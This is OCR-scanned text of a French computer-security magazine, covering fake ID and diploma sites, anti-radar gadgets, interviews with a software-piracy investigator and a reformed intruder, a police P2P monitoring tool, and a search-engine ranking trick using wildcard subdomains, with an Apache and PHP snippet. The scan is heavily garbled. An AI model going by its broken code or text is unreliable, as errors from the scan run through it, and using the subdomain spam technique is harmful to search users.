suisses, et cousins du Québec. Comment protéeger son acces
administration ? Simple, ou presque. Déja premiere chose,
pourquoi vouloir a tout prix nommer le répertoire admin,
administration. Pourquoi pas, viensicicestchezmoi ? On vous
conseil plutét de chaisir un nom plus compligue, voir mieux encore,
n‘ayant aucun rapport. Ensuite évitez de vous contenter du login et
du mot de passe que propose votre systeme d'administration. Pour
'OREAL, la faille qui visait 'ASP aurait pu étre contrée avec un
petit htaccess. On va finir d'ailleurs par le mettre en boucle dans le
magazine, c'est la 5e fois que I'on vous en parle | Deux mots de
passe ne sont vraiment pas de trop aujourd’hui.
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' DE PLUS EN PLUS SUR LE RESEAU DES RESEAUX ONT RENCONTRE DES ESPIONS ET

WROEES

DES AGENTS SECRETS. ILS VIENNENT RACONTER LEURS EXPLOITS SUR DES CHATS
IRC. POUR PROUVER AUX PLUS CREDULES CETTE IDI’ENTITE QUI LES FAIT TANT
FANTASMER, ILS MONTRENT DES CARTES D’IDENTITES ET AUTRES DIPLOMES

DE CERTIFICATIONS. MAIS QUI SONT CES MYTHOMANES QUI PULLULENT ?

0U TROUVENT-ILS CES CARTES ? ZATAZ MAGAZINE VOUS EMMENE DANS LES
BOUTIQUES NUMERIQUES QUI VOUS TRANSFORMERONT EN CE QUE VOUS VOULEZ !

FAKE ID

Des cartes d'Interpol, de directeur
de castingE ou de donneur de penis.

INVERPOLE

™

INTERPOLE CF

Besoin de changer d'identite, probleme
anc | 2 lalimite du psychiatrique qui vous
e (e @ | transforme en Docteur Jekyll et Mister

i : Hyde, une peite centaine de sites
= of a & internet proposent de se créer une carte
o . dlidentité fictive... ou contrefagon de

cartes existantes, permis de conduire ou

carte de séjour par exemple. Des papiers qui feront pas vraiment rire les
forces de l'ordre mais qui peuvent passer pour de vrais aupres de personnes
qui ne sont pas habituees a lire ce genre de document. Nous avons pu trouver
des sites proposant, par exemple, des cartes de presse pour 15 livres sterling,
soit un peu plus de 21 euros. D'autres n'hésitent pas a gonfler les prix. Nous
sommes tombés sur des permis de conduire britanniques pour la bagatelle de
50 euros. Certains de ces sites proposent ['envoi par la poste du document.
Contre une somme supplementaire, variant de 20 a 50 euros de plus,
le vendeur peut rajouter un hologramme rendant la carte encore plus « authen-
tique ». Certaines cartes peuvent aussi porter comme inscription la mention

HEALTH 5PA L1

« factice », indication qui
s'enlevera comme par magie
avec un peu d'eau. Pour
conclure, les arnaques sont
légions, si d'autres sites
n'hésitent pas a proposer de
recevoir la commande par
Fax ou par courrier électro-
nique, plusieurs internautes
se sont refrouvés sans

papier... ni argent.

J'’AIBAC + 50

Siles cartes d'identités pullulent c'est aussi le cas des diplémes universitaires.
Si certains sites proposent des copies conformes d’un tifre existant, beaucoup
d'autres sites web ont trouvé le moyen de palier |a loi et eviter d'avoir des
ennuis. lls proposent des diplomes d'écoles n'existant que dans limagination
des créateurs des sites en question. Ici aussi, les prix peuvent varier de

15 a 3.500 euros. Payer une telle somme pour un bout de carton sans aucune
valeur! Beaucoup d'étudiants ayant raté leurs examens n'hésitent pas ensuite
a s'acheter ce genre de contrefagon. Le Ministere de I'Intérieur bulgare a, par
exemple, mis la main sur de six trafiquants de faux diplomes. Les « grades »
se vendaient prét de 4.000 euros. Au Royaume-Uni et aux Etats-Unis une
enquéte de quatre ans a abouti a la fermeture de plusieurs sites Internat

qui vendaient de faux diplomes d'universités pour 1.000 livres sterling soit
1.435 euros, comme des cartons affirmant l'obtention d'un titre d'enseignant ou

De fausses cartes d'identités.

Un faux dipléme avec DiplomaSenvices .comi
une belle typo qui fait S -
illusion. Sans oublier le

cacher de cire. |...

d'expert en informatique.
Les diplomes provenaient |: e
d'écoles prestigieuses
comme l'université de
Palmers Green, de
Wexford... Des facs
fantdmes car totalement
inexistantes !

CA PASSE OU CA CASSE

Méme si la possession de ce genre de document n'a rien d'illégal, son
utilisation en est tout autre. Certains « faussaires » arrivent & passer entre

les mailles du filet des contréles... enfin jusqu'au jour ou ils sont détectés.

Le dernier cas en date est de taille. Un haut fonctionnaire de I'administration
Bush, travaillant au departement de Sécurite, Department of Homeland
Security, a eté mis en congé administratif apres qu'il eut eté découvert que ce
fonctionnaire avait peut-étre acheté ses "titres” de scientifique sur un site dédié
aux faux diplomes. En France, plusieurs cas de fausses identités ont éte
détectées dans le nord de la France. Les faussaires se créaient de toutes
pieces une identite afin de pouvoir ensuite s'ouvrir un compte dans des
sociétés de crédit. lls ne leur restaient plus qu'a retirer 'argent puis disparaitre.

FAUX ET USAGE DE FAUX

Comme le veut 'adage, nul n'est censé ignorer la loi. Sortons notre
petit livre rouge.

L'article 441 - 1 du Code : Constitue un faux toute altération fraudu-
leuse de la vérité, de nature & causer un préjudice, et accomplie par
guelgque moyen gue ce soit dans un écrit ou' tout autre support d'ex-
pression de la pensée qui a pour objet ou qui peut avoir pour effet
d'établir la preuve d'un droit ou d'un fait ayant des conséquences juri-
diques. Le faux et I'usage de faux sont punis de 3 ans d'emprisonne-
ment et de 45.734 euros, 300 000 francs, d'amende. |l est interdit de
se constituer un titre et de fabriquer un document qui va constituer un
faux matériel pouvant porter préjudice a autrui. Puni également le fait
de procurer & autrui un document émanant d'une administration
publique (article 441 - 5) ou celui de se faire remettre indiment par une
telle administration un document destiné & constater un droit, une
identité ou une qualité, ou & accorder une autorisation (article 441 - 6).
Pour conclure, les peines sont additionnées avec linterdiction des
droits civigues, civils et de famille, interdiction d'exercer une fonction
publique, I'exclusion des marchés publics et la confiscation de la
chose qui a servi a commettre l'infraction.
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EAST AND FURICUS &

ALORS QUE LES ROUTES FRANCAISES COMMENCENT A REDEVENIR .

MOINS MEURTRIERES, DES OUTILS MIS EN VENTE SUR INTERNET PROPOSENT

DE NE RESPECTER NI LA LOI ET ENCORE MOINS LA VITESSE. ANTI-RADAR ROUTIER,
ANTI-LASER, BOMBE DE CAMOUFLAGE POUR PLAQUE D’IMMATRICULATIONS.

LE PARFAIT NECESSAIRE DU PETIT CRIMINEL DE LA ROUTE EST DISPO SUR LE WEB !

DETECTEUR DE... COUILLON !

“Voicl le seul antiradar & pile en Europe (...) Bombe antiflash. Appliquez sur
votre plague d'immatriculation de votre véhicule et vous devenez invisible ...)
Bouclier anti laser, nouveau en France. Absorbe et répand les rayons laser
rendant inefficace toute mesure possible”. Voila quelques phrases clés que
diffusent par Internet, mais aussi par fax, plusieurs sociétés spécialisees dans
la fraude routiére. Des objets capables, d'aprés les auteurs de ces missives,
de piéger les gendarmes en train de fraquer la vitesse sur les routes

de I'hexagone.

Dans la liste des ces objets, des « classiques », des boitiers électroniques

a placer dans I'automobile, ou & greffer dans le tableau de bord d'une moto,
capables de détecter I'émission d'un radar policier. L'évolution étant, les
anti-radars sont aussi capables, parait-il, de détecter les nouveaux modéles,
les jumelles laser. Pour ce qui est des autres produits que nous avons décou-
verts sur internet, ils sont plus exotiques. D'abord le bouclier anti-laser qui est
une plague d'immatriculation capable d'absorber le rayon laser. Ou encore la
plaque d'immatriculation qui change le numéro par un gros « fuck you » qui est
cense apparaitre sur la photo. En restant dans la panoplie de protection de
plague, le plus delirant des « gadgets » étant cet étrange liquide a appliquer
sur 'immafriculation de la voiture. Une mixture capable de renvoyer les rayons
lumineux provoqués par le flash d'un radar.

MIROIR AUX ALOUETTES

Si certains de ces gadgets fonctionnent, il est cependant interdit de les utiliser.
Mais pourquoi les vendre alors 7 Les societés qui distribuent ce genre d'objet
ne sont pas folles. Premierement elles jouent sur l'incapacite qu'ont certains
conducteurs & comprendre que la route n'est pas un circuit de formule 1,
ensuite I'angle marketing secondaire est a peine voilé : « quoi de plus sympa
que de piéger la police. » Seulement vous vous doutez bien qu'il y a un hic !
Les e-marchands annoncent un remboursement en cas d'amende... amende
qui ne tarde jamais a venir. « Nous détectons ce genre de machine » dixit un
gendarme Lillois que nous avens interroge a ce sujet. « L'amende est salée et
le tribunal n'est jamais loin. C'est un délit qui est passible du tribunal correc-
tionnel". Le plus terrible c'est que les gogos qui peuvent acheter ce genre de
choses, qui au passage sont trés onéreux, ne connaissent souvent ni la loi, ni
la technologie...et encore moins l'usage de la calculatrice, ce qui permet aux
vendeurs de communiquer sur n'importe quoi. Le plus fabuleux des produits
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TELEPHONE PORTABLE ANTI RADAR

Des dizaines de jeunes conducteurs, mais on en connait aussi
des plus vieux, se sont fait avoir par I'information qui annongait
que les téléphones portables Nokia étaient capable de détecter un

radar positionné dans un rayon d'un kilométre. Pour transformer
n'importe quel Nokia en détecteur de radar allez dans le menu

parameétres puis parameétres de sécurité. Mettez appels illimités,
oui, code 40 puis revenez au menu principal. Un conseil, gardez
les yeux sur la route au lieu de loucher sur I'écran du téléphone.

que nous avons pu découvrir reste ce radar qui permet de diminuer votre
vitesse de 60 % a l'affichage du radar policier. Le site qui commercialise cet
attrape couillon indique ceci : « I'écho de retour est modifié sans emission de
EuroRMR, ce qui modifie la vitesse enregistrée jusqu'a meins 60% par rapport
a la vitesse réelle. Un exemple : si vous roulez a 200 km/h, la vitesse
enregistrée n'est que de 80 km/h ». Imaginez I'idiot qui a acheté ce produit, qui
colte la modique somme de 895 euros, et qui va étre obligé de rouler a

300 km/h pour atteindre une vitesse normale a |'affichage du radar. On doute
que les motards qui vont aller le chercher apprécient I'humour.

Un petit rappel ne fait pas de mal. Le Code de la Route punit l'utilisation de tels
outils par une contravention de 5eme classe, soit une amende maximum de
1.500 euros. Une amende qui vise toute personne qui met en vente ou qui a
vendu, détenu, adapté, placé, transporté, un moyen de déceler la présence ou
de perturber le fonctionnement d'instruments servant a la constatation des
infractions. Pour ce qui est de la modification des plaques d'immatriculations, la
Ioi a changé depuis le 16 janvier dernier, les vehicules dotés de plagues
d'immatriculation non conformes peuvent faire I'objet d'une immobilisation.
L'amende peut plafonner a 750 euros, sachant que si le cas d'une intention
frauduleuse est démontrée, ce qui avec ce genre de plaque antiradar est le
cas, 'amende peut monter beaucoup plus haut. Pour finir, on vous invite a lire
les informations sur les délits et infractions liés & la route sur le site
http://www.321auto.com/ma_voiture/infractions.asp. Avant de partir en
vacances il est bon de se rappeler nos droits et devoirs sur la route. Soyez
prudents et respecter le code de la route !

PIRATAGE INFORMATIQUE SUR AUTOROUTE

Aussi étonnant que cela puisse paraitre, il s'en passe de dréles sur
les autoroutes des vacances. Les pirates informatiques y sont pré-
sents dans des situations ol on les attend le moins. Deux
exemples. En 2002, sur une autoroute britannique. Un panneau
d’affichage qui devait indiquer la température, le vent, sur le tron-
gon autoroutier a affiché durant 4 heures un majestueux Fuck You.
On n'en saura pas plus sur I'auteur de ce message d'amour. Dans
un autre style, des centaines de fausses cartes de circulation sur le
réseau international autoroutier avaient été saisies par les gabe-
lous des Alpes-Maritimes. Pour 200 Euros, il était possible d'ac-
quérir une carte pirate permettant de passer les principaux péages
européens sans débourser la moindre piéce. Un sésame qui aurait
occasionnég, selon les gendarmes, une fraude avoisinant les 2 mil-
lions d'Euros rien que pour la France. Les gendarmes, aidé par
des techniciens d'entreprises gérants les autoroutes ont mis en
place un systéeme informatique pour traquer les fraudeurs. Bilan,
les chauffeurs routiers et les patrons qui ont profité de ce piratage
se sont vus gratifiés d'amendes allant jusqu'a 4.000 euros d’amen-
de, 5 ans de prison et la saisie du camion.




)

TRAQUE SUR INTERNET

C’est lors d’un débat sur Radio France Internationale que nous avons rencontré Paul,
un enquéteur du BSA, le Business Software Alliance. Paul, un pseudo, est un ancien militaire,
expert juridique et en informatique. Son travail, traquer sur Internet les contrefacteurs de logiciels.
Interview avec un cyber-chasseur.

Qu’est ce qu’un enquéteur au B.S.A. 7

C'est un expert en informatique, qui maitrise plusieurs technologies, ainsi que
le drait visant la propriété intellectuelle. Nous faisons des investigations afin
d'identifier des sites Internet, des pirates de logiciels et d'autres comptes
réseau qui peuvent servir a ce genre de fraude informatique. Par compte com-
prenez IRC, forum, ftp, peer-to-peer ... Notre but, identifier tous les gens qui
fournissent, vendent, des copies de logiciels.

Comment travaillez-vous ? Le champ d’investigation est
vaste. Vous étes les rois de Google ?

Google est I'un de nos outils, surtout pour identifier des sites web qui propo-
sent des logiciels piratés, ainsi que les gens qui en vendent. Il y a 3 milliards
de sites références, il est difficile de s'y retrouver. Nous utilisons aussi plu-
sieurs autres logiciels pour nos recherches.

Quel genre de logiciel ?

On ne peut pas en parler mais ce sont des outils connus et vendus au grand
public. Nous travaillons avec plusieurs gros systemes informatiques qui recher-
chent pour nous. Des logiciels qui nous permettent d'étre plus rapide dans nos
investigations. Nous avons des robots qui écoutent, qui attendant certains
mots, certaines informations diffusées sur des chats, forums, sites, ... Nous
aurons prochainement des robots qui seront capable de tenir une discussion,
simplifiée, pour mieux cibler encore les pirates.

Comment voyez-vous des systémes comme le peer-to-peer ?
Cette technologie est trés intéressante, un systéme qui pourrait aller loin, qui
pourrait apporter beaucoup de chose. Pour le moment il y a encore pas mal de
prableme dans celte technologie. Mais n‘aublions pas qu'elle n'a que 2 ans. En
ce qui concerne son utilisation par les internautes il est a déplorer que 99,9 %
d'entre eux ne s'en servent que pour le piratage. Une trés bonne technologie
qui est en train de mourir & cause d'une mauvaise utilisation des internautes.

Que pensez-vous de Freenet ?

Ce n'est pas veritablement un danger. Le systeme n'accepte pas de gros
fichiers, rendant difficile la diffusion de contrefacon. La version IRC Freenet
posera plus de probléme. Mais ce n'est pas un probléme, il y a toujours un
moyen d'identifier un internaute contrefacteur, d'identifier la provenance d'un
message.

Votre travail vous oblige a vous cacher comme ceux que
vous traquez, pas difficile a vivre ?

Il est vrai que le métier est dangereux, difficile. Pour preuve le décés d'un
enquéteur en Russie, tué par des pirates proches de la mafia russe. Mais bon
je ne vis pas caché, de toute fagon, je ne donne pas mon vrai nom, je ne me
montre jamais, on utilise plusieurs pseudos et je ne suis pas seul.

Justement, combien de personne au service enquéte du
B.S.A. ?

Nous ne pouvons pas donner de chifire, une chose que je peux dire, nous
sommes sur trois continents, ce qui permet de faire de maniére a ce que
quand une équipe dort, une nouvelle prend la main, ainsi de suite. Le service
enquéte du B.S.A. ne dort jamais.

Comment travaillez-vous ?

Comment constatez-vous une fraude ?

C'est assez simple en fait. Un site web qui propose des copies se voit assez
rapidement. Il propose par exemple des compilations de plusieurs logiciels,
Genre Adobe et Macromédia, ce qui ne se fait pas. Ensuite des logiciels dont
les prix défient toutes concurrences. Un logiciel dont le prix nous parait éfrange
nous permet de commencer une enquéte. Ensuite nous comparons aussi les
numéros de séries. On découvre trés vite si un numéro de série existe ou non.

Ensuite un site “warez” ou de contrefagon possede souvent des publicités vers
des sites pornographigues. Ce que n'aura pas une boutigue online légale. La
situation géographique du site permet aussi de se poser des questions sur les
logiciels proposés. C'est avec le temps et |a patience que I'on commence &
connailre les ficelles des pirates.

Quel est le portrait robot du pirate de logiciel ?

On se retrouve de plus en plus avec des groupes vraiment mafieux. Il y a de
plus en plus de copieurs, de pirates, de crackeurs qui sont associés avec des
groupes proches du grand banditisme. |Is utilisent de plus en plus les logiciels
piratés pour blanchir 'argent. C'est plus intéressant pour eux car, par exemple,
si un gang posséde 67 000 dollars. Il pourra acheter 1 kilo de cocaine. A la
revente, ils feront 200 % de marge. S'ils achétent pour le méme prix des logi-
ciels piratés, ils feront 900 % de bénéfices. Ca rapporte plus et ca colte moins
cher en années de prison en cas d'arrestation. Mais il y a aussi beaucoup de
“petits” pirates qui chez eux copient et revendent pour quelques euros leurs
contrefacons. Il y a vraiment plusieurs profils.

Comment expliquez-vous que certains logiciels non
commercialisés se trouvent deja sur Internet ?

Les éditeurs de logiciels ont une équipe de développeurs, de béta-testeurs,
des services qui se chargent de l'impression des CDRoms, ... Autant de fuites
possibles.

Certains journalistes sont aussi dans le collimateur ?
Malheureusement, oui. Nous n’avons pas encore de preuves, mais nous en
sommes de plus en plus sir !

Les copieurs sont-ils plus en Asie, dans les pays de I'Est ?
Oui et non. Effectivement I'Asie et certains pays de I'ancien bloc de I'Est sont
de gros fournisseurs de copies. Mais pas besoin d'aller si loin. Nous avons des
cas de manufacture de CDRoms qui produisent le nombre demandé par I'édi-
teur du logiciel, et cette méme entreprise va en produire quelques centaines
d'autres avec une autre étiquette par exemple. On a eu quelgues usines en
Allemagne, en Italie ou en Belgigue qui ont eu ce probleme.

Comment sont vos contacts avec les services de police ?

Ils sont tres bons. Beaucoup de contacts avec les forces de I'ordre quand nous
avons a faire avec de gros pirates. Nous faisons aussi des formations. Sinon,
une simple plainte au juge permet de lancer la justice aux trousses d'un pirate.

OPERATION SOURIS

Le plus important réseau de

piratage de logiciels, musique

et film identifiés en Europe est

tombée mi juin sous les coups

de la Guardia di Finanza, la police
financiére italienne, aidée par la

B.S.A. et |la Federation Against

Music Piracy. 181 personnes

inculpées, 10 300 autres font

I'objet d'une enquéte. L'opération

nommée Mouse a tenu en haleine &= ?
les forces de I'ordre durant 6 mois. {11} 4
95 000 mels suspects ont été o
découverts. 12 sites web

et 28 adresses électroniques ont

été mis sous surveillance,

interceptions comprises.

Préjudice estimé : 100 millions d'euros par an.
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|MEMOIRE D'UN REPENTI...

Il a défrayé la chronique en 2002. Lui ¢c’est Reyno, ancien hacker francais. Son idée, corriger les serveurs
d’entreprises frangaises... sans leur demander ! Il va jouer de trop pres avec certaines entreprises qui
n’ont pas apprécié I'humour. Il faut dire aussi de cet internaute francais qu’il a patché des serveurs
faillibles sans demander I’avis de personne. Interview exclusive d’un pirate repenti.

QUI EST REYNOD ?

Chaouki BEKRAR, 22 ans, étudiant en mathématiques et informatique.
Aujourd'hui Consultant en Securite informatique et fondateur de AD-Consulting,
a Montpellier.

Tu as fait parler de toi, voila plusieurs mois, en piratant
plusieurs serveurs francais et étrangers importants,
pourquoi ces cibles la ?

Mon intérét n'était pas le piratage en soit, mais plutt la sécurité : le but était
de démontrer que des serveurs aussi importants soient-ils, peuvent toujours
faire l'objet d'intrusions et d'attaques. Surtout si la gestion de la sécurité infor-
matique de ces systemes était confiée a des personnes ou des sociétés cen-
seées étre compétentes dans ce domaine...

Tu as été arrété en 2002, quels sont les chefs

d’accusations ?

Accés frauduleux dans un systéme de traitement automatisé, tentatives d'ac-
cés frauduleux dans un systeme de traitement automatisé de donnees, modifi-
cation de données résultant du maintien frauduleux dans un systeme de traite-
ment automatisé, entrave au fonctionnement d'un systeme de fraitement auto-
matisé de données, tentatives d'entraves au fonctionnement d'un systéme de
traitement automatisé, modification de données résultant d'un acces frauduleux
dans un systéme de traitement automatisé, acces et altération de serveurs
notamment dans les domaines de collectivité publique .gouv.fr

Que du bonheur quoi ! A qui appartenaient les systemes
auxquels tu as eu acces 7

J'ai pu avoir acces a plusieurs Intranets et serveurs gouvernementaux frangais
(Ministeres : intérieur, Travail, Finances...), des serveurs gouvernementaux
américains (NASA, NAVY...). Des serveurs appartenant a des societes
comme France Telecom, Microsoft, Colt, Oleane, Sofres, IntelligenceOnline,
Reuters ... Des intranets et serveurs de plusieurs Universités, Ecoles,
Laboratoires, Instituts, Centres de recherches, multinationales...Tous ces sys-
témes ont été « audités » et sécurisés par moi-méme, certains souffraient de
failles publiques, d'autres de vulnérabilites « privees », non publiques.

Comment s’est passée ton interpellation ?

Suite & une enquéte, qui a durée quelques mois, avec des mises sous ecoutes
par la DST, et des filatures. J'ai été arrété le 10 octobre 2002, a 18.15 a la sor-
tie de la fac, par huit policiers, qui m'ont vite menotté et embarque dans une
des frois voitures, puis conduit chez moi, afin d'assister a la perquisition. Nous
avons été conduits par la suite, moi et mon amie, a la brigade financiére ot
nous avons été interrogés. Aprés une trentaine d'heures de GAY, j'ai eté
conduit & Ia prison de Montpellier ol j'ai passé quelques jours de detention.
Jiai été transféré par la suite a Paris ol je suis arrivé aprés une dizaine
d'heures de trajet, menotté comme s'ils craignaient que je puisse lancer une
attaque nucléaire en pressant sur un bouton de ma chemise ... J'ai vu par la
suite le juge d'instruction qui m'a entendu et surtout écoute, il a compris les

Tu as laissé un message sur le site, n’avais-tu pas peur que
cela ne soit pris uniquement pour un pirate qui modifie les
pages par jeu ?

Non, car mes “passages” étaient discrets, c'est-a-dire pas de changement de
pages a la barbare, ou destruction des données ... juste un message inséré
dans le code ou sur une page.

Comment ont réagi les webmasters ?

Mal, dans 99 % des cas, car tous leurs acquis dans le domaine de la sécurité
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informatique sont remis en question, donc assez dur pour eux de digerer de
telles intrusions, sans oublier le fait que ce genre d'incidents ne sont pas tres
bons pour leurs “carriéres’... D'ailleurs ils oublient tres souvent de dire merci.
Aprés une intrusion ils sont trop occupés a essayer de relever un peu leur
niveau de competences...

As-tu déja trouvé des choses particuliéres lors de tes
“visites” ?

Les bases de données sont les choses les plus particulieres que je trouvais,
puisqu'elles comportaient souvent des donnés sensibles ou des informations
confidentielles, informations que je ne gardais pas.

Mais heureusement il existe des “admins” qui donnent un peu de couleur et de
chaleur & leurs serveurs solitaires en y mettant des dizaines de favoris de sites
adultes.

Réver étre un hacker, un pirate, n’est-ce pas idiot ?

Tout d'abord il ne faut pas confondre hacker et pirate : le pirate télécharge des
exploits sur internet, cherche des systémes vulnérables et ensuite les déface.
Un hacker est une personne ayant des connaissances techniques dans ce
domaine, des éludes informatiques par exemple, il fait partie de la communau-
té, il contribue a améliorer la sécurité, et ne cause aucun tort. Si vous trouvez
une faille, contactez rapidement I'administrateur du systéme, meme si beau-
coup d'entre eux oublieront souvent de vous remercier a cause de leur ego
surdimensionné mais vous aurez contribué a améliorer la sécurité, tout en évi-
tant les problémes et les proces qui suivront vos quinze minutes de gloire. ..

Tu as cependant abusé en laissant de temps en temps ta
« signature » sur les serveurs visites.

Oui et je le regrette. Un acte idiot qui me colte cher aujourd'hui avec un
jugement qui arrive et un contréle judiciaire permanant. (NDLR :Depuis son
arrestation en octobre 2002, Reyno doit signer sa présence au tribunal tous
les 15 jours).
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’r La pédophilie sur Internet est devenue un vrai fléau. Un informaticien
- bordelais de 32 ans a décidé de prendre le probléme a bras le corps.

Un codeur qui a connu le 68000 sur Atari/ST et Amiga, découvert GNU/Linux en 1994 et depuis lors,
99% de son travail se décline sur les plateformes Libres. En 2001 il lance son entreprise, aidounix.com.
Parmi ses créations, des logiciels qui traquent les pédophiles sur Internet. ZATAZ Magazine a rencontré
ce codeur impliqué dans la lutte contre la pédophilie sur Internet.

Vous

qu'est ce ¢ ce lot

LogP2P est a la base un systéme demandé par Philippe JARLOV, enquéteur &
la Section de Recherche de Bordeaux. Au départ, le projet était un projet de
I'ABUL (Association Bordelaise des Utilisateurs de logiciels Libres), dont je fais
partie avec Philippe. Il a éte developpe gréce au soutien et au cahier des
charges de la SR33 (Section de Recherche de la Gendarmerie) et grace a une
trés puissante station de travail dont I'achat a été sponsorisé par AlG (Action
Innocence Group). L'objectif de LogP2P est d'identifier, sans intrusion, ni
provocation, les diffuseurs de contenus pornographiques mettant en scéne des
mineurs sur les réseaux peer-to-peer. LogP2P remplit ce cahier des charges,
en fournissant aux enquéteurs des informations sur les fichiers échangés :
date, adresse IP des diffuseurs, domaine, et pays, ainsi qu'un taux de confian-
ce quant & ces informations.

J'écris DES DIFFUSEURS, car les systémes peer-to-peer permettent la
réception en parallele depuis plusieurs sources. LogP2P le prend en compte,
et le gére parfaitement. Il est en production a la Section de Recherche de
Bordeaux depuis 3 mois, et donne des résultats extrémement intéressants.
D'autres services de polices européens I'évaluent en ce moment. LogP2P a
demandé plusieurs mois de R&D, d'analyse de protocoles et d'évaluation de
solutions pour trouver les méthodes qui garantissent Ia fiabilite des résultats.

Pourquoi cibler les pédophiles su
J'ai déja développé un'logiciel de traque des
pédophiles sur IRC, LogIRC, il y a deux ans,
sous licence GPL. |l est réservé aux forces de
l'ordre. LogIRC tourne dans une centaine de
polices nationales et d’agences
gouvernementales de part le monde.

Il était naturel que la gendarmerie, trés
impliquée sur le sujet, me contacte pour
recommencer sur les réseaux peer-to-peer. De
mon point de vue, c'est le besoin de faire
bénéficier les services de traque des
pédophiles de mon savoir-faire en terme de
programmation réseaux.

LogP2P est un systéme de monitoring, et
d'analyse du frafic réseaux qui se positionne
entre les enquéteurs et I'Internet.

Les enquéteurs utilisent les

logiciels clients de Kazaa, Gnutella, eDonkey
ou autre, en ciblant leurs recherches.

lIs téléchargent des contenus illégaux, et

LogP2P produit un rappert d'analyse prét a

étre inséré dans un procés verbal. Toute I'exploitation de LogP2P se fait par
I'intermédiaire d'un navigateur WEB.

Le systéme n'envoie pas encore d'email au parquet, mais ¢a ne saurait
tarder... L'intérét énorme de LogP2P est qu'il est autonome en termes
d'analyses. Les services qui I'utilisent lancent des centaines de
télechargements le soir et récuperent les rapports qui les concernent
(par domaine, pays).

Reste juste a valider le caractére illégal pour entamer les procédures
judiciaires.

Dans les algorithmes qu'il utilise. LogP2P peut mettre en oeuvre plusieurs
méthodes d'analyses basées sur un systéme de plug-ins. Il est en mesure,
aprés coup, de démontrer avec quelles informations, et comment il a déterminé
les coordonnées des diffuseurs de contenus, et avec quelle probabilité ces
informations sont pertinentes.

En régle generale, LogP2P sait si les informations ne sont pas pertinentes,
mais laisse |a décision a |'opérateur.

ge =4t L Ico LS

Probable. En fait, LogP2P identifie les diffuseurs, de n'importe quel contenu...
Images, MP3, DivX ou méme, exécu-
tables. C'est I'une des forces du sys-
teme : sa transparence quant au
contenu.

En l'occurence, nous sommes a la
recherche de financements pour
permettre la plus large diffusion de
LogP2P aux services de polices, et
pourquoi pas, aux services
d'investigation privés.

Quelle est la part du mythe dans
I'existence et I'activité de ces fameux
réseaux ? J'étudie des plug-ins pour
des protocoles exotiques, néanmoins
ce n'est qu'une infime partie du trafic
qui se situe en dehors des sentiers
battus. Nous serions heureux si nous
n'avions plus gqu'a nous concentrer
dessus.
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MOTEUR DE RECHERCHE,

LA GRANDE LESSIVE

Tout webmaster qui se respecte ne réve que d’une chose, que son site soit
vu. Pour cela le référencement via des moteurs de recherche est plus
qu’obligatoire. Seulement aujourd’hui il s’avére que les moteurs de
recherche ( y compris le roi de tous : Google ) souffrent de problemes qui

empéchent un référencement correct et équitable. Une exclusivité ZATAZ Magazine.
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LE SAINT GRAAL
Comment apparaitre des centaines de milliers de fois dans Google, voila la
découverte de Martin Pascal, de Linterweb.com. Difficile ? Pas vraiment.
Débutons pas l'observation. Pour cela nous allons prendre un moteur au
hasard, allez soyons fous nous allons utiliser Google. Sur ce moteur de
recherche vous pouvez visualiser le nombre de pages référencées en lapant
allinurl:nomdomaine.com. - http://www.google. frisearch?hl=fr&ie=ISO-8859-
1&q=allinur%3Afree.fr&meta=cr%3DcountryFR -
A partir de cette veille nous pouvons déja constater deux faits : Le premier
c’est le nombre important de pages pour free (1 730 000). Le second, les
pages qui arrivent en téte de ce classement

1: www.free.fr

2 : setiathome.free.fr

3 : adsl.free.fr

4 : maupassant.free.fr

5 : carredas.free.fr
Comme nous sommes en phase d'observation, nous sommes {rés curieux et
nous continuons notre investigation sur les recherches correspondantes aux
sites, en éliminant de notre recherche les sites hébergés chez free.fr. setiatho-
me.free.fr va donc donner Setiathome -
http:/iwww.google.frisearch?hl=fr&ie=IS0O-8859-
18&g=setiathome&btnG=Recherche+Google&meta=cr%3DcountryFR

Evidement avec un nom comme celui 13, il est normal que Setiathome arrive en
premigre position. Prenons un mot plus générique comme Adsl. -
http:iwww.google.fr/search?hl=fr&ie=1SO-8859-
18g=adsl&meta=cr%3DcountryFR - Cette requéte est nettement plus intéres-
sante. En effet sur le mot clé adsl, le site adsl free.fr se situe a la 3éme posi-
tion. Il en est de méme pour le mot clé Maupassant ...

Donc l4 soit vous avez compris I'astuce, et vous passez ce paragraphe, sinon
lisez la suite qui va vous intéresser fortement. Google, pour classer une page
se sert de son contenu, du titre de la page, du nombre de liens qui pointent
vers la page, mais surtout du nom de domaine. En effet, sur les 10 premiers
sites pour le mot adsl, Google affiche 8 résultats qui ont dans leur nom de
domaines adsl. Autrement dit, si vous avez un site qui parle d'adsl, mais sans
que ce mot soit dans votre nom de domaine, vous aurez trés peu de chance
d'étre bien référencé. L, il est & constater que le domaine principal est free.fr,
les autres c'est & dire adsl.free.fr,... sont des sous-noms de domaines. 3

En réalité, il est trés difficile pour un moteur de recherche de faire la différence
entre sous-nom de domaine et nom de domaine. Car, soit ils prennent le risque
de limiter le nombre de pages référencées par un nom de domaine, & ce
moment les hébergeurs de sites gratuits (Free, Chez) sont pénalisés, soit ils
assimilent ces sous-noms de domaines comme des sites internet & ce moment
rien n'empéche de profiter de cette légéreté.

Mais, autre chose devrait vous attirer I'attention, c'est le nombre de pages.
Statistiquement, plus un site posséde de pages et plus il a des chances d'étre
vu, et ceci est renforcé par des pages ayant un contenu différent permet
d'augmenter la quantité de vocabulaire du site et du coup d'augmenter son
audience.



»» REPORTAGE

n‘avez pas de ServerAlias
ServerAlias *.momdomaine.com www.*.mon-

™ domaine.com

Sinon ajouter cela en séparant d'un espace
les autres

*.momdomaine.com www.*.mondomaine.com.
"ESC" wg

Puis redémarrez apache :
lusrflocalfapache/bin/apachect! restart

100.000 VISITEURS JOURS !

Et voila si tout fonctionne correctement et
comme tout fonctionne correctement vous
pouvez taper dans votre barre de navigation :
toto.mondomaine.com -
tata.mondomaine.com et vous étes redirigé
automatiquement vers la page index de votre
site. Ainsi vous pouvez maintenant mettre ce

——  Advanced Searc
script PHP, pour vous permettre de modifier le

—

Google Search

I'm Feeling Lucky J

+ Preferences

+ Lanquage Tools

contenu de vofre page en fonction du mot.

$question=@substr($HTTP_HOST,0,str-
pos(SHTTP_HOST,”. mondomaine.com")); ceci

Try our do-it-yourself advertising program - AdWords.

vous permet de récupérer le mot qu'a tapé un
utilisateur, ou un robot de moteur afin d'accé-
der a vofre site. Maintenant que vous avez
effectué la détection du mot, vous devez rem-
plir les pages avec un contenu différent.

Pour cela nous vous conseillons d'aller faire

QUI NE DIT MOT ...

La phase d'observation est finie, il résulte donc qu'il nous faut deux
opérations : la premiére générer des sous-noms de domaines comme free. La
